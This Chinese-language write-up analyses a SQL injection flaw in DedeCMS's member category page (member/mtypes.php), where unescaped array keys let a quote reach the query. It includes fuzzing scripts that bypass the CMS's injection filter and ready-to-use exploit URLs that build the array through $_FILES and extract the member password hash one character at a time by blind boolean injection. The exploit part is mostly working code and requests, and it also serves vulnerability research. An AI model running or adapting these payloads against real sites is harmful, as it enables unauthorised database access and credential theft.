首先来看一下
function XSSClean($val) { global $cfg_soft_lang; if($cfg_soft_lang=='gb2312') gb2utf8($val); if (is_array($val)) { while (list($key) = each($val)) { if(in_array($key,array('tags','body','dede_fields','dede_addonfields','dopost','introduce'))) continue; $val[$key] = XSSClean($val[$key]); } return $val; } $val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val); $search = 'abcdefghijklmnopqrstuvwxyz'; $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'; $search .= '1234567890!@#$%^&*()'; $search .= '~`";:?+/={}[]-_|\'\\'; for ($i = 0; $i < strlen($search); $i++) { $val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ; $val = preg_replace('/(�{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ; } $val = str_replace("`","‘",$val); //对value有过滤 key无 $val = str_replace("'","‘",$val); //且key无addslashes $val = str_replace("\"","“",$val); $val = str_replace(",",",",$val); $val = str_replace("(","(",$val); $val = str_replace(")",")",$val);
member/mtypes.php
elseif ($dopost == 'save') { if(isset($mtypeidarr) && is_array($mtypeidarr)) { $delids = '0'; $mtypeidarr = array_filter($mtypeidarr, 'is_numeric'); foreach($mtypeidarr as $delid) { $delid = HtmlReplace($delid); $delids .= ','.$delid; unset($mtypename[$delid]); } $query = "DELETE FROM `#@__mtypes` WHERE mtypeid IN ($delids) AND mid='$cfg_ml->M_ID';"; $dsql->ExecNoneQuery($query); } foreach ($mtypename as $id => $name) //把数组的key循环出来 { $name = HtmlReplace($name);//只对value 进行了addslashes 没有对key addslashes 导致了$id可引入单引号 造成了注入。 $query = "UPDATE `#@__mtypes` SET mtypename='$name' WHERE mtypeid='$id' AND mid='$cfg_ml->M_ID'"; $dsql->ExecuteNoneQuery($query); } ShowMsg('分类修改完成','mtypes.php'); }
所以首先我们注册一个账户, 然后传递一个数组 因为dede是伪全局 然后发现并没办法直接传递数组 直接mtypename[aa'] 发现dump出来就是一个Array 导致了循环出来的key就是A。 这里要另外一种方法, 参照menmen519传递数组的方法。
foreach($_FILES as $_key=>$_value) { foreach($keyarr as $k) { if(!isset($_FILES[$_key][$k])) { exit('Request Error!'); } } if( preg_match('#^(cfg_|GLOBALS)#', $_key) ) { exit('Request var not allow for uploadsafe!'); } $$_key = $_FILES[$_key]['tmp_name']; ${$_key.'_name'} = $_FILES[$_key]['name']; ${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z\./]#i', '', $_FILES[$_key]['type']); ${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']); if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) ) {
利用_FILES来创造一个数组。 然后有一个问题就是他的防注入, 发现他的防注入又改了。。
if (strpos($clean, '@') !== FALSE OR strpos($clean,'char(')!== FALSE OR strpos($clean,'"')!== FALSE OR strpos($clean,'$s$$s$')!== FALSE)
比之前的又添加了双引号, 然后都知道80sec的ids 在`'`后的关键字就能过。 但是没有了@ 和 " 我们怎么让在我们嵌入的select之前让`'`不报错。 没有了思路,果断先写个渣脚本fuzz跑一下。
<?php mysql_connect('localhost','root',''); mysql_query("use dedecmsv"); for ($i=0;$i<256;$i++){ $b=chr($i); $sql="select uname from dede_member where uname='a' and $b`'` union select user()"; $a=@mysql_fetch_array(mysql_query($sql)); if ($a){ echo $i; echo "</br>"; echo $b; echo "</br>"; echo urlencode($b); } }
发现只跑出来了 @ 继续改一下脚本再跑
<?php mysql_connect('localhost','root',''); mysql_query("use dedecmsv"); for ($i=0;$i<256;$i++){ $b=chr($i); $sql="select uname from dede_member where uname='a' and $b`'`$b union select user()"; $a=@mysql_fetch_array(mysql_query($sql)); if ($a){ echo $i; echo "</br>"; echo $b; echo "</br>"; echo urlencode($b); } }
发现又只跑出来了一个 双引号。。 恰巧这两个又被过滤了。 还好这时候ooxx牛在。 WHERE mtypeid='a' and `'`.``.mtypeid and 这种也能执行 所以成功绕过了dedecms的防注入。 所以就可注入了。 _______________________________________________________________________ 演示一下流程 首先一个会员 来到 /member/mtypes.php 创建一个分类
增加分类成功 如果你的浏览器没反应,请点击这里...
删? 分类ID 内容类型 分类名称 1 普通文章 www
这里先记下分类的ID为1 名称为 www 然后访问 http://web/new/dedecmsv/member/mtypes.php?dopost=save&_FILES[mtypename][name]=.xxxx&_FILES[mtypename][type]=xxxxx&_FILES[mtypename][tmp_name][a' and `'`.``.mtypeid or if(ascii(substr((select pwd from dede_member limit 1),1,1))%3d51,1,0) and mtypeid%3d1%23]=w&_FILES[mtypename][size]=.xxxx
删? 分类ID 内容类型 分类名称 1 普通文章 www
发现分类名称没有改变 再改一下 http://web/new/dedecmsv/member/mtypes.php?dopost=save&_FILES[mtypename][name]=.xxxx&_FILES[mtypename][type]=xxxxx&_FILES[mtypename][tmp_name][a' and `'`.``.mtypeid or if(ascii(substr((select pwd from dede_member limit 1),1,1))%3d50,1,0) and mtypeid%3d1%23]=w&_FILES[mtypename][size]=.xxxx 访问后 再回到分类管理来看
删? 分类ID 内容类型 分类名称 1 普通文章 w
现在分类名称已经变成我们数组的value了 就说明 当pwd的第一位ascii码为50的时候 就是true了 再转回来 说明pwd的第一位就是2 也可基于时间,再写个脚本就能跑了。